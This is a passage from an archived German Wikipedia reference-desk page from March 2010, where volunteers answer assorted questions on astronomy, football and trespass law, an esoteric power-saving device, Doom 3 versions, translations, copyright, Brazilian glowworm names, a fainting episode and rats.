etwas verwirrend ist das Ganze auch deswegen, weil ja bei einer Drehrichtung der Erde von West nach Ost der wahrgenommene Sternenhimmel sich nachts genau umgekehrt zu bewegen scheint, bei Blickrichtung nach Süden bewegt sich der Sternenhimmel scheinbar von Ost nach West im Uhrzeigersinn, siehe auch hier: http://de.wikipedia.org/wiki/Stern#Scheinbare_Bewegung_des_Sternenhimmels - StephanPsy 08:33, 26. Mär. 2010 (CET)
Siehe rechtläufig und rückläufig. --Wrongfilter ... 09:11, 26. Mär. 2010 (CET)

Ok, die Frage war also mal wieder nicht präzise genug formuliert. Ich habe den Standpunkt als gegeben vorausgesetzt. In jeder mir bekannten astronomischen Literatur wird bei derlei Betrachtungen der Beobachterstandpunkt als über der Ekliptik definiert, anders ausgedrückt weit weit über dem Nordpol der Erde schwebend nach unten blickend. Von diesem Standpunkt umkreisen die Planeten die Sonne und die großen Monde ihre Planeten gegen den Uhrzeigersinn, ebenso wie die meisten Planeten und großen Monde gegen den Uhrzeigersinn rotieren. Die Frage war, ist rechtläufig (von diesem Standpunkt gesehen) also entsprechen dieser Hauptdrehrichtung oder wie im allgemeinen Sprachgebrauch im Uhrzeigersinn?--Ch.Weg 17:34, 27. Mär. 2010 (CET)

Wrongfilter hat doch schon den erklärenden Link gebracht. -- Lotse 02:21, 30. Mär. 2010 (CEST)

Warum führt die Polizei ausgeschlossene Fußballspieler vom Platz?

Die Aufgabe der Polizei ist es bei einem Fußballspiel doch nicht, dem Schiedsrichter zu assistieren. Warum wurde dann z.B. Antonio Rattín bei England -Argentinien bei der WM 1966 von der Polizei vom Platz gebracht? Und im ORF hab ich ich glaub vorgestern auch einen Bericht gesehen über einen Schiri, der in Brasilien die Polizei gerufen hat um einen Spieler, der sich nach einem Ausschluß geweigert hat, das Spielfeld zu verlassen, vom Platz zu tragen. Dabei könnte der Schiri wenn der Spieler auch nach wiederholten Aufforderungen sich weigert, das Spielfeld zu verlassen, das Spiel doch einfach abbrechen und dann würde es halt nachher gegen die Mannschaft des ausgeschloßenen Spielers strafverifiziert werden. Zumindestens in Östterreich ist es ja auch nur erlaubt, dass die Polizei einschreitet, wenn es dafür einen triftigen Grund (z.B. eine Straftat oder die Gefährdung der öffentlichen Ordnung) gibt. Ein Spielabbruch führt aber doch zu nichts dergleichen. --MrBurns 05:08, 27. Mär. 2010 (CET)

Wg. WM 1966: Wahrscheinlich konnte man sich noch gut an eine ähnliche Situation einer vorherigen WM erinnern (ich glaub, das war 1962 beim Spiel Argentinien - Chile), bei der ein des Feldes verwiesener Spieler sich minutenlang geweigert hatte, den Platz zu verlassen, so dass der Referee anno '66 dem wohl einfach vorbeugen wollte. Ist bei derartigen Turnieren wohl auch verträglicher als ein Spielabbruch. Wobei ich mir grad nicht einmal sicher bin, ob ein Schiri unter diesem Hintergrund überhaupt ein Spiel abbrechen dürfte. --Ennimate 05:02, 28. Mär. 2010 (CEST)
Wenn ers nicht abgebrochen hätte. wärs auch wurscht gewesen, dann wärs nämlich nachher trootzdem sttafverifiziert worden. Argentinien-Chile gabs 1962 nicht. Möglicherweise wars Chile - Italien, was laut dem Artikel Fußball-Weltmeisterschaft 1962 angeblich das unfairste WM-Spiele aller Zeiten war. Und darüber gibt's auch einen Artikel auf der Wikipedia, laut dem wurde der Spieler, der sich geweigert hat, vom Platz zu gehen, wohl auch von der Polizei vom Platz getragen. Das wird auch hier erwähnt. --MrBurns 17:34, 29. Mär. 2010 (CEST)
Der triftige Grund ist die Durchsetzung des Hausrechts, also eine Assistenz für den Hausrechtsinhaber (sofern nicht ohnehin eine andere polizeiliche Maßnahme wie beispielsweise Identitätsfeststellung oder ähnliches als Grund vorliegt). Öffentliche Ordnung greift hier aber nicht, da es sich um Privatgrund handelt. --217.228.86.145 08:00, 27. Mär. 2010 (CET)
...und wenn es zur Durchsetzung des Hausrechts körperlicher Gewalt (= Wegtragen) bedarf, braucht es halt die Polizei, siehe Gewaltmonopol. Es darf nicht jeder einfach so nach belieben Leute von seinem Grundstück tragen oder in anderer Form "gewalttätig" werden und Gewalt anwenden heißt ja nicht zwingend, daß auch gleich Blut fließt... --84.191.63.175 09:40, 27. Mär. 2010 (CET)
Ok, ich frag mich aber, ob das Hausrecht hier überhaupt greift: schließlich darf sich ein ausgeschlossener Spieler weiterhin im Stadion aufhalten, nur eben nicht auf dem Spielfeld oder auf der Ersatzbank, aber sehr wohl ind der Kabine als auch im Zuschauerbereich. Die Situation bei einem Spieler, der nicht gehen will, wäre als vergleichbar mit der Situation bei einem Platzsturm. Ich hab mal in der Diskussion zum Artikel Hausfriedensbruch eine entsprechende Frage gestellt, aber noch keine Antwort bekommen. Ich weiß, dass die Polizei bei Platzstürmen natürlich eingreifen darf, aber nicht, ob das aufgrund des Hausrechts ist oder aus einem anderen grund (z.B. weil ein Platzsturm ja auch die Sicherheitslage im Stadion gefährdet, ein Spieler der nicht vom Platz gehen will tut nichts dergleichen). --MrBurns 18:37, 27. Mär. 2010 (CET)
Bruns, die Frage ist eindeutig beantwortet worden. Dies ist kein Diskussionsforum für Ungläubige und Nachschwafler.--91.56.197.155 19:43, 27. Mär. 2010 (CET)
Artikel Hausfriedensbruch, vierter Satz:
==== Tatbestandsmerkmale ====
Der Tatbestand gliedert sich in zwei Varianten: Tatbestandmäßig ist das vorsätzliche Eindringen gegen den Willen des Berechtigten in näher bestimmte Räumlichkeiten oder das Sich-nicht-Entfernen aus diesen Räumlichkeiten trotz der Aufforderung eines Berechtigten. Diese Räumlichkeiten sind Wohnungen, Geschäftsräume und sonstige befriedete Besitztümer oder abgeschlossene Räume, die für Zwecke des öffentlichen Dienstes oder Verkehrs bestimmt sind.
Lesen bildet. --Dansker 20:15, 27. Mär. 2010 (CET)
Ich finde MrBurns Zweifel hier nicht ganz unberechtigt. Ok, wenn ein Partygast unerwünscht ist und partout nicht gehen will, kann ich die Polizei rufen und ihn wegbringen lassen. Aber ich kann doch nicht die Polizei rufen, um jemandem sagen wir vom Bad (Spielfeld) in die Küche (Umkleidekabine/Tribüne) bringen zu lassen...! --Eike 20:20, 27. Mär. 2010 (CET)
Aber natürlich kannst Du das. Dafür werden Absperrungen und Hinweisschilder installiert. Wie willst Du das denn sonst bei Veranstaltungen, Messen Baustellen und so weiter machen? Du kannst doch Verbote für bestimmte, erkennbare Bereiche erteilen als Bevollmächtigter. Ob die Ordnungshüter für Deine Toilette anrücken und wenn, ob auch rechtzeitig steht auf einem ganz anderen Zettel. Sonstige befriedete Besitztümer: das verlangt weder einen unüberwindlichen Zaun, im Zweifel reicht als Abgrenzung ein Strich oder ein erkennbar anderer Bodenbelag, noch einen anderen Besitzer oder Verfügungsberechtigten. Der Schiedsrichter übt das Hausrecht auf dem Platz aus. Im Zuschauereingangsbereich kann er das wiederum nicht. Wenn Herr Neun im Wikipediabuilding einen Saal für eine Party überlassen bekommt und den Herrn Bruns da nicht bei haben mag, so kann dieser sehr wohl ins Wikipediacafe oder das Doom3-Studio im selben Gebäude gehen, ist ja nur der Saal über den jener temporär verfügt. so, muss los,wo war die Féte? --Dansker 21:10, 27. Mär. 2010 (CET)
Das Problem bei der Formulierung ist folgendes: Das gesamte Stadion, also inkl. Spielfeld, Tribünen, Räumlcichekeiten wie Kabinen, etc. bildet ja bereist ein einziges Besitztum, daher ein zusammenhängender Raum. Wenn man also vom Spielfeld verweiden wird, wird man nicht aus dem Besitztum verwiesen, sondern nur aus einem til von dem, der zwar extra befriedet ist, aber trotzdme mit dem Rest zusammenhängt. Nach der Formulierung im Artikel ist nicht klar, ob die Überwindung von Befriedungen bzw. das nichtverlassen ebfriedeter Teilbereiche innerhalb eines Besitztums auch Hausfriedensbruch ist. --MrBurns 02:24, 29. Mär. 2010 (CEST)
Das Problem ist nicht die Formulierung, sondern mittlerweile das Verständnis. Besitztgrösse und Katastergrenzen sind nicht ausschlaggebend, sondern die Intention des Verfügungsberechtigten. Mit einer Buisenessclasskarte hast Du im Flugzeug nichts in der ersten Klasse verloren, als Opernbesucher nichts im Orchestergraben, als Zuschauer nichts auf dem Spielfeld und den Umkleiden, als vom Spiel ausgeschlossener Spieler nichts mehr auf dem Spielfeld. Und da Du anscheinend nicht das Obige gelesen hast: Die Verfügungsgewalt des Schiedsrichters bezieht sich aufgabengebunden auf das Spielfeld, zeitlich und räumlich. Er ist ja nicht als Parkplatzwächter engagiert. Gute Nacht --Dansker 03:56, 29. Mär. 2010 (CEST)wieso hab ich bloss angefangen, hier zu antworten?
Es ist schon klar, das man nicht überall hindarf, aber nicht, dass das mit dem Hausrecht zu tun hat, es könnte auch mit dem Vertrag zu tun haben, den man mit dem Kauf eines Tickets abschließt. In Fußballstadien sind ja auch noch viele andere Sachen verboten, die sonst erlaubt sind, z.B. bestimmte gegenstände mitnehmen oder professionelle Fotoausrüstung mitnehmen (außer man ist akkreditierter Fotograf) oder selbstgemachte Bild- und Tonaufnahmen kommerziell zu verwerten. Für einen juristen mag alles klar sein, aber wennd am so ist ist die Formulierung nicht allgemeinverständlich, sondern Juristendeutsch.---MrBurns 04:09, 29. Mär. 2010 (CEST)

Im Gegensatz zu diesem Deutsch ist Juristendeutsch allgemein verständlich und logisch. Fällt Dir eigentlich nicht auf, dass Du feste Deine eigene Frage in Frage stellst. Die Frage ist zudem eindeutig beantwortet.--91.56.203.37 09:15, 29. Mär. 2010 (CEST)

Juristendeutsch ist für Jursisten allgemein verständlich, aber das ist nicht das, was man unter allgemeinverständlich versteht. Allgemeinverständlich wärs, wenns auch für Personen ohne juristisches Fachwissen verständlich wär. Dass Juuristendeutsch nicht allgemeinverständlich ist steht übrigens auch im entsprechenden Artikel. Und dir fällt anscheinend nicht auf, dass deine Beiträge unkonstruktiv sind. --MrBurns 17:24, 29. Mär. 2010 (CEST)

Esoterik-Kasten zum Stromsparen

Hallo, ich bin ja einiges gewohnt von esoterisch begeisterten Mitmenschen (Stichwort Granderwasser), aber heute habe ich etwas mir bislang unbekanntes aufgetischt bekommen: Ein Kasten oder "Gerät", das in der Nähe von Stromleitungen angebracht auf ganz unerklärliche, nichtsdestotrotz fabelhafte Weise 30% (gibts bestimmt auch mit anderen Zahlen) Strom einsparen soll. Hat jemand eine Ahnung, wie diese Spinnerei in Esokreisen genannt wird? Bei google suche ich anscheinend mit den falschen Stichwörtern. Nils Simon T/\LK? 18:14, 27. Mär. 2010 (CET)

Auf Anbieterseite für den internen Gebrauch: Beschiss. Kragenfaul- 18:18, 27. Mär. 2010 (CET)
Die Suche mit »esoterik strom sparen« ergab das: [32] --Catfisheye 19:51, 27. Mär. 2010 (CET)
Danke, ich darüber das gefunden. Haarsträubend, aber jetzt weiß ich wenigstens worüber ich den Kopf schütteln muss :) PS: Esowatch bietet ebenfalls Hintergrundinfos dazu an. Nils Simon T/\LK? 20:11, 27. Mär. 2010 (CET)
(BK) Man sollte ja eigentlich gelernt haben, nicht einfach auf alle angebotenen Links zu klicken. Ich glaube, um nicht an der Welt zu verzweifeln, muss ich diesen Forumsthread mit einem grösseren Schnaps herunterspülen. Prost. --83.228.128.41 20:13, 27. Mär. 2010 (CET) PS.: Gegen Silberfische wirkt der Kasten übrigens auch noch.
oO Kann nix für. Gibt es hier nen Esoterik-Hinweis? Dansker?!? --Catfisheye 20:19, 27. Mär. 2010 (CET)
ROFL Hatt' ich auch gefunden, aber zu schnell weggeklickt. „mit einem Tachyonenfeld werden die Elektronen beschleunigt“, großartig! Sind wir hier eigentlich im Café? Ich nehm' 'nen trockenen Spätburgunder. Prost der Sperber d! 20:48, 27. Mär. 2010 (CET)
Ob da Schnaps oder Spätburgunder reichen? Scheint mir ein Fall für hundertprozentigen Alkohol zu sein (schüttel...). --FK1954 22:50, 27. Mär. 2010 (CET)
Bitte den Hinweis zu Hokuspokus beachten!

Ein Kumpel von einem Freund von mir ist Physiker und arbeitet jetzt in der Forensik eines LKAs. Der hatte neulich einen Kasten auf dem Tisch der genau das getan hat. Der Kasten war allerdings an alle drei Phasen der Stromleitung an geschlossen und hat durch geschickte Ausnutzung des Phasenanschnitts Strom entnehmen können, ohne dass der Zähler das mitkriegt.--84.160.188.248 00:49, 28. Mär. 2010 (CET)

In der Elektrotechnik nennt man das Phasenschieber, aber ich meine die modernen Stromzähler reagieren darauf nicht mehr.--91.56.197.155 10:00, 28. Mär. 2010 (CEST)

Manches in diesem verwirrenden Hokuspokus ist tatsächlich wahr und einfache Elektrotechnik. Wie diese genutzt werden kann für ein nachgeschaltetes Gerät, um einfache Zähler zu foppen, siehe unter Blindleistung#Ursache. Achso, was Esoterik bedeutet, siehe dort. ;) -- E (D) 04:12, 29. Mär. 2010 (CEST)

Beim weiter oben diskutierten Gerät spielt Elektrotechnik aber kaum eine Rolle; jenes wird mit kosmischer Strahlung und Tachyonen betrieben. Hex hex! --131.152.41.173 15:19, 29. Mär. 2010 (CEST)

Doom 3 PC, Xbox Versionen

Hallo. Und zwar hab ich über dieses Thema gegoogelt und auf deutsch wenig gefunden, sonst würd ich nicht nachfragen. Was ist besser, die PC oder die Xbox Version von Doom 3? Und welche Differenzen zwischen den beiden Versionen gibt es? Bitte antwortet mir. Danke. 188.23.33.59 19:18, 27. Mär. 2010 (CET)

Ich denk, Du hast das schon im Internetcafe mit Billigung des Chefs installiert?--91.56.197.155 19:32, 27. Mär. 2010 (CET)

Nein noch nicht aber das ist keine Antwort auf meine Frage. Ich hab Doom 3 bereits schon dreimal durchgespielt, zweimal auf PC und einmal auf der Xbox und mir kommt die Xbox Version irgendwie anders vor, sonst würd ich ja nicht nach´fragen. 188.23.33.59 19:55, 27. Mär. 2010 (CET)

Na, wieder unser Troll aus der Gegend von Wien? Welche Rolle spielen Unterschiede, die dir beim Spielen nicht aufgefallen sind? --Eike 20:11, 27. Mär. 2010 (CET)
Das ist kein Troll. 14jährige haben wirklich solche Deppenthemen und unterhalten sich auf 0-Niveau stundenlang darüber. Hatte gerade wieder im Zug das "Vergnügen". Pech für den Fragesteller ist, dass hier in der Auskunft keine 14jährigen sind. Das merkt er aber anscheinend nicht. Probiers doch mal bei gulli.de --92.202.48.125 21:35, 27. Mär. 2010 (CET)
Dieser 14-jährige hat weiter oben einen Kampfhund mit Verdauungsschwierigkeiten und tritt nicht nur als IP auf.--91.56.197.155 22:48, 27. Mär. 2010 (CET)
Laut Gamespot ist der einzige Unterschied der, dass man auf der Xbox auch im Coop-Modus spielen kann. Sh. hier. --Balham Bongos 12:57, 28. Mär. 2010 (CEST)

Quatsch, auch im Einzelspielermodus sind Unterschiede zu erkennen da die Levels auf der Xbox deutlich gekürzt wurden. lg 188.23.217.10 22:03, 28. Mär. 2010 (CEST)

Fragt, aber kennt die Antwort vorgeblich schon. Bitte sperren. --92.202.38.53 23:41, 28. Mär. 2010 (CEST)
Vielleicht klärt dieser Text die Sache für Dich etwas weiter auf. --Balham Bongos 13:55, 29. Mär. 2010 (CEST)

Übersetzung

Was heißt lock mill auf deutsch (vgl. en:Loose Creek, Missouri)? --Verwaltungsgliederung 21:50, 28. Mär. 2010 (CEST)

Locks Mühle (s. verlinkten Artikel). Grüße 85.180.201.109 21:57, 28. Mär. 2010 (CEST)
en:Lock (water transport)... ne wassermühle an einem sperrwerk oder einer schleuse? oder war das jetzt zu wild? --Heimschützenzentrum (?) 21:58, 28. Mär. 2010 (CEST)
Da hätte ich auch selber drauf kommen können. --Verwaltungsgliederung 21:59, 28. Mär. 2010 (CEST)
hm - nee - sorry - war wohl doch der name den die mühle von der betreiber-familie erhalten hat... bin schon müde... *rot werd* :-) wenigstens ist da irgendwo n fluss... --Heimschützenzentrum (?) 22:03, 28. Mär. 2010 (CEST)
Ja genau deshalb habe ich hier gefragt. Es gab jede Menge Übersetzungen mit lock aber eben nicht lock mill und "Schleusenmühle" hätte irgendwie keinen Sinn ergeben! --Verwaltungsgliederung 18:16, 29. Mär. 2010 (CEST)
Sowohl die Frage als auch die Antwort enthalten Fehler. Im englischen Originaltext heißt es nicht "lock mill", sondern "Lock mill". Im Deutschen würde man das nicht mit "Locks Mühle", sondern mit "Locksmühle" übersetzen. Es gibt in den Mittelgebirgen hunderte von Mühlen, deren Namen nach diesem Schema gebildet sind. -- 93.129.93.195 19:13, 29. Mär. 2010 (CEST)

Copyright

Ich habe ein Buch geschrieben (ohne Verlagshilfe), es drucken lassen und möchte nun wissen, wohin ich mich wenden muss um es urheberrechtlich schützen zu lassen --178.165.183.101 06:56, 27. Mär. 2010 (CET)

Da musst du dich nirgendwo hin wenden, der Urheberrechtsschutz gilt automatisch für deine eigenen Werke. Es gibt auch keine zentrale Stelle, die dann Missbrauchsfälle für dich verfolgt, da musst du dann schon selbst tätig werden. --Dunni 07:11, 27. Mär. 2010 (CET)
Hast Du bei Deiner Antwort berücksichtigt, dass diese Frage aus Österreich kam, nur kommen konnte? Da ticken die anders, auch im Urheberrecht.--91.56.205.52 07:34, 27. Mär. 2010 (CET)
Roter Hering. Kragenfaul- 08:25, 27. Mär. 2010 (CET)

Woher weiß Kragenfaultier 91.56.205.52, "dass diese Frage aus Österreich kam"? Dunnis Anwort ist jedenfalls auch für Österreich zutreffend Urheberrechtsgesetz (Österreich) und ebenso für zumindest die allermeisten der Länder, die hier von Interesse sein könnten. Siehe übrigens auch Titelschutz. --Vsop 10:05, 27. Mär. 2010 (CET)

Klick auf die IP und dann auf whois, was dir Orange Austria als Provider zurückgibt. Mit Geotargeting kann man noch ungefähre Gegend herausbekommen. --Mps 17:35, 27. Mär. 2010 (CET)
Der Rote Hering bezog sich auf die trollige Antwort der IP mit Österreichbezug. Ich habe dazu nichts geschrieben Kragenfaul- 18:20, 27. Mär. 2010 (CET) //So ist es. Ich bitte um Verzeihung. --Vsop 12:44, 30. Mär. 2010 (CEST)--91.62.123.249 12:36, 30. Mär. 2010 (CEST) //
Die Herkunft der IP muss nichts über den Standort des Nutzers aussagen, man kann auch einen Proxy in einem anderen Land benutzen. Ich komme auch nicht aus Frankreich... --62.129.172.6 11:20, 28. Mär. 2010 (CEST)

Ein Offener Proxy wird in der WP meistens gelöscht, da bist Du mal durchgerutscht.--91.56.203.37 09:18, 29. Mär. 2010 (CEST)

Entomologisches auf Latein

Boijeja, Buijeja Not. do Braz. c. 117. — Insectum noctilucum (e Boya — et cendy i. e. serpens lucens) Caca lume vel Luz em cû Bras. Lampyris femina.

Kann mir jemand diesen Listeneintrag aus dem Latein übersetzen. Ich weiß, da sind viele Abkürzungen drin, die das ganze sicher erschweren. Es hat was mit Käfer zu tun, ganz bestimmt Glühwürmchen.

Danke schon mal, Doc Taxon @ Discussion 19:14, 27. Mär. 2010 (CET)

das ist zum Teil ziemlich sicher portugiesisch (oder eher brasilianisch). Es zu übersetzen wage ich aber nicht. --SchallundRauch 19:28, 27. Mär. 2010 (CET)
Mein Tipp: Galizisch. 87.123.24.39 19:35, 27. Mär. 2010 (CET)
ja, so richtig Latein!? Daran habe ich ehrlich gesagt auch gezweifelt, zumal das auch noch aus einer Stettiner Zeitschrift ist, als Stettin noch deutsch war. Um eine Übersetzung bitte ich aber trotzdem ... - wenn's geht - Doc Taxon @ Discussion 20:04, 27. Mär. 2010 (CET)
Insectum noctilucum heißt nächtlich leuchtendes Insekt (in schlechtem Latein, müsste lucem sein); serpens lucens heißt leuchtende Schlange. Der Rest ist wohl eine andere romanische Sprache. --Sr. F 20:18, 27. Mär. 2010 (CET)
Das "femina" am Ende lässt bei mir den starken Verdacht keimen, dass es sich um eine Käferin handelt. -- Martin Vogel 20:32, 27. Mär. 2010 (CET)
Vielleicht mittelalterliches Latein, wie etwa hier oder hier? Da steht „em cũ“, wobei das m noch ein Makron hat. Das „cũ“ stünde dann für „cum“ (mit), das „Bras.“ wohl für Brasilien. Der Text, um den es geht, findet sich übrigens hier (erstes Suchergebnis). --83.228.128.41 20:39, 27. Mär. 2010 (CET)

"Caca lume" soll wohl "Caga lume" heissen (Feuerscheisser) und "Luz em cû" heisst "Licht im Arsch". --83.77.199.208 20:50, 27. Mär. 2010 (CET)

Achja, und das sind Bezeichnungen für Leuchtkäfer, aber das war wohl sowieso klar. --83.77.199.208 20:52, 27. Mär. 2010 (CET)
Ich halte den Feuerscheisser tatsächlich für richtig; das sieht nach Trivialnamen (heißen die bei Viechern so?) aus Brasilien aus. Wobei es nicht unbedingt Arsch sondern auch Hintern heißen könnte. In manchen romanischen Sprache ist cu(l) keine vulgäre Form (s. dort) --Kazu89 ノート 21:49, 27. Mär. 2010 (CET)
Jo, das stimmt schon; üblicher pt-Name ist "vaga-lume" und im entsprechenden Artikel steht, dass dieser Name gemäss dem "Dicionário da Língua Portuguesa Contemporânea" eine euphemisierte Abwandlung von "caga-lume" ist. Wie harsch die Begriffe sind, hängt natürlich auch von der Zeit ab, und die Quelle Noticia do Brazil von Gabriel Soares de Sousa ist ja von 1589. --83.77.251.233 22:14, 27. Mär. 2010 (CET)
Und vel heißt „oder“. -- der Sperber d! 14:13, 28. Mär. 2010 (CEST)

Hier ist eine bessere Quelle als das Stettiner Blatt, bei der die ursprüngliche Formatierung erhalten ist und dem Verständnis hilft: Das Glossaria linguarum brasiliensium: Glossarios de diversas lingoas e dialectos, que fallao os Indios no imperio do Brazil. Wörtersammlung brasilianischer Sprachen von Carl Friedrich Philipp von Martius.

Hier findet man zum Beispiel: „Not. do Braz.“ bedeutet „Noticia do Brazil“. (Nachtrag: Ach, das steht ja weiter oben schon ...) Martius schreibt: „Bei dieser Zusammenstellung der Pflanzennamen in der Tupisprache war es nothwendig, auf die ersten historischen Quellen zurückzugehen. Unter den mir zugänglichen nimmt die in den letzten Decennien des sechszehnten Jahrhunderts verfasste Noticia do Brazil, als deren Verfasser durch Ad. v. Varnhagen Gabriel Soares de Souza nachgewiesen worden ist, die erste Stelle ein.

Am Anfang stehen also zwei lokale Bezeichnungen, deren Quelle (Noticia do Brazil), die Beschreibung (nächtlich leuchtendes Insekt), dann die Anmerkung in Klammern („e boya et cendy i.e. serpens lucens“), nachher die brasilianischen Bezeichnungen und am Schluss die wissenschaftliche Bezeichnung en:lampyris femina. --131.152.41.173 15:55, 29. Mär. 2010 (CEST)

links Männchen, rechts Weibchen bei Lampyris noctiluca
Und wieso weiblich? Leuchten die männlichen Würmchen nicht? --Kazu89 ノート 23:57, 29. Mär. 2010 (CEST)
Das ist anscheinend bei Leuchtkäfern tatsächlich oft so. Und bei en:Lampyris gibt es einen larvenartigen Zustand der Weibchen, der sich deutlich von den Männchen unterscheidet (siehe Bild), der wird hier gemeint sein. --84.75.61.214 09:49, 30. Mär. 2010 (CEST)

Irgendwie körperlich versehrt?

Mir ist letzte Nacht etwas merkwürdiges widerfahren. Habe mich zu einer ungewohnt späten Zeit zur Ruhe begeben. Irgendwann, etwa 3 Stunden später musste ich, wegen Wasserdrang aufstehen und mich ins Bad begeben. Beim Wasserlassen ist es mir ein wenig übel und leicht schwindelig geworden und dann kam's, kann mich mit Schrecken noch daran entsinnen. Krachte mit Kopf gegen die Badtür, konnte mich aber noch abfangen, dass ich nicht kollabierte. Dass Furchtbare, für mindestens 2, 3 Minuten konnte ich nichts mehr sehen, alles total schwarz, finster! (anders, als wenn man die Augen schließt, habe überhaupt keine Helligkeit mehr vernommen, obwohl das Licht brannte!) Nach besagtem Augenblick konnte ich meine Sehkraft wieder zurückgewinnen. Danach war ich augenblicklich schweißgebadet und begab mich nach einem Schluck Apfelsaft und etwas Mineralwasser wieder zu Bett. Ich frage mich, was die Ursachen für dieses Vorkommnis waren. Habe zuvor 3 Bier getrunken, 4 Zigaretten geraucht und ein paar Balistoriegel gegessen, die schon über dem Verfallsdatum lagen (das können doch aber nicht die Auslöser gewesen sein). Bin vieleicht auch etwas ganz leicht übergewichtig, trinke viel Kaffee, usw. Bin aber noch unter 30. Schlaganfall kann man doch in dem Alter nicht erwarten. Möchte mit diesem Anliegen nicht unbedingt einen Arzt konsultieren, wenn es halt nicht wirklich nötig ist.--92.78.88.146 16:04, 27. Mär. 2010 (CET)

Du bist wegen eines Kreislaufkollapses so besorgt, aber willst nicht zum Arzt? Versteh ich nicht. Was, wenn das wieder passiert und du mit dem Kopf irgendwo gegen krachst? Nichts für ungut, aber geh zum Arzt. --Sr. F 16:08, 27. Mär. 2010 (CET)
Wenn ich Deine anderen Beiträge von heute sehe, verarscht Du uns hier.--91.56.197.155 16:30, 27. Mär. 2010 (CET)
Perspektivenwechsel: Vielleicht erklärt diese Geschichte das Zustandekommen der übrigen Beiträge --Pfarrhaus 19:22, 27. Mär. 2010 (CET)
(1) Das minutenlange "Schwarzwerden" gehört schon zum Kapitel "Schlaganfall", auch wenn nichts zurückbleibt bzw. zurückgeblieben ist (kein Infarkt). Beim nächsten Mal die 112 anrufen!
(2) In der Schlaganfall-Überwachungsstation im Paderborner Vinzenz-Krankenhaus hängt ein großes Plakat: "Schlaganfall - das ist doch was für uralte Leute - so ab 29."
Gruß -- Dr.cueppers - Disk. 16:16, 27. Mär. 2010 (CET)
Mir ist vor einigen Jahren mal etwas Ähnliches passiert. Hab nach dem Einkaufen daheim auf den Fahrstuhl gewartet und bemerkt, wie mir zunehmen schwindlig wurde und meine Sicht sich immer mehr "vernebelt" hat. Im Fahrstuhl selbst hab ich dann nichts mehr sehen können und meine Umgebung nur noch akustisch wahrgenommen, bis ich schließlich genau beim Öffnen der Fahrstuhltür vornüber umgekippt bin (was die auf der Etage wartenden Kinder mächtig erschreckt hat). Wenig später bin ich wieder zur Besinnung gekommen, hab gemerkt, dass ich mir das Kinn etwas aufgeschürft hatte, und bin dann in meine Wohnung; hab den Vorfall aber auf mangelnde Ernährung vorm Einkaufen zurückgeführt. Dass das jetzt was mit Schlaganfall zu tun haben könnte... war zu dem Zeitpunkt doch grad n Frischzwanziger... --Ennimate 05:09, 28. Mär. 2010 (CEST)
Ich würde das auch einfach unter Kreislaufversagen abbuchen. Die Symptome passen genau. Schwindel, Übelkeit, Schwarz vor Augen und Umfallen. Passiert besonders, wenn man jung ist oder wenn man nachts zu schnell aufsteht. Solange das nicht häufiger passiert und hinterher alles wieder normal ist, kein Grund zur Beunruhigung. Rainer Z ... 17:29, 28. Mär. 2010 (CEST)
ch möchte dich nicht unnötig beunruhigen aber lies dir mal Transitorische ischämische Attacke durch. Nur weil hinterher alles in Ordnung scheint sollte man das nicht auf die leichte Schulter nehmen. --134.2.3.102 13:43, 30. Mär. 2010 (CEST)

Ratten und Kotgeruch

Stimmt es, dass Ratten von (menschlichem) Kotgeruch angezogen werden? Handelt es sich dabei um eine falsche Assoziation (Ratten-->Biotop Abwasserkanäle-->lieben entsprechende Gerüche)? --Ayacop 09:53, 28. Mär. 2010 (CEST)

Quelle? G! GG nil nisi bene 09:57, 28. Mär. 2010 (CEST)
Für den Kot?--91.56.203.37 10:29, 28. Mär. 2010 (CEST)
Bei Tieren wie Fliegen oder Käfern (in den 1950er Jahren an den Stränden in Spanien beobachtet) hat menschlicher Kot Anziehungskraft. Ratten sind Allesfresser und keine Koprophagen, und da im allgemeinden nur das geruchsmässig anzieht, dem man hinten drauf springen kann oder was man vorne reinstecken kann, erscheint mir angezogen werden zweifelhaft Auch eine Suche in diese Richtung bringt nichts Konkretes. Abwasserkanäle sind wohl deshalb attraktiv, weil dort die Tiere relativ geschützt und klimaunabhängig leben können und auch ab und zu etwas zu fressen finden (hatte ich die unverdauten Maiskörner mal erwähnt?).
Es gibt ja auch Menschen, die in der Abfallbeseitigung arbeiten, weil sie dort sichere Arbeitsplätze haben - und nicht, weil sie den Gestank lieben (gilt auch für Parfumverkäuferinnen bei Woolworth...). Ratten sind im Allgemeinen sehr reinlich. Habe selber jahrelang welche gehabt. G! GG nil nisi bene 13:31, 28. Mär. 2010 (CEST)
Wanderratten suchen in erster Linie Stellen auf, an denen es leicht Futter gibt, das können beispielsweise Hühnerställe (Futter: Getreide, besonders Weizen) und der Komposthaufen im Garten sein, wenn dort gekochte Speiseabfälle landen. Da manche Menschen in Großstädten ihre Speiseabfälle mitunter ins Klo schütten, ist es kein Wunder, wenn sich in der Kanalisation eine Rattenpopulation bildet, die dann diese Reste verwerten. --Schlesinger schreib! 14:02, 28. Mär. 2010 (CEST)
Als ich die Frage las dachte ich: könnt ja sein, dass Ratten so clever sind und denken: "Ah, Menschenmist... Nachlässige Spezies, lässt alles mögliche leckere Zeug herum liegen, haben oftmals sogar Sammelplätze für Essbares. Wo die sind, da ist auch Futter." Greys Recherche (bei der ich unterstelle, dass sie wie gewohnt gründlich war) weist aber recht eindeutig darauf hin, dass Ratten doch nicht so abgebrüht sind wie ich vermutete. --Ian DuryHit me 14:18, 28. Mär. 2010 (CEST)
Ich würd Ratten nicht unterschätzen. Die schicken ja oft auch nen Vorkoster los und wenn der nicht mehr wiederkommt, meiden die Ratten den Erkundungsort.--Nephiliskos 14:23, 28. Mär. 2010 (CEST)
Das ist ein ganz interessanter Kommentar! Schicken die wirklich einen Vorkost-Kumpel los? Oder ist das so, dass sich die erfahrenen, vorsichtigen Ratten zurückhalten und beobachten, wie Karl-Heinz (klein, hungrig, orientierungs- und wahllos - hat auch keine Freundin) hin geht und frisst. Und wenn Karl-Heinz nach 2 Tagen umfällt, sagen die anderen "Siehste!" und "Karl-Heinz, wir werden dich vermissen, hehehe!" Fast so wie in der Auskunft, oder? ;-) G! GG nil nisi bene 14:44, 28. Mär. 2010 (CEST)
Nee, den jungen Karl-Heinz schicken die nicht los. Der muss ja schließlich noch arbeiten gehen. Die schicken die alten Knacker los, die das mit der Fortpflanzung nicht mehr so auf die Reihe kriegen und daher verzichtbar sind. *noch vorm Signieren schnell: duck & wegrenn* :-)

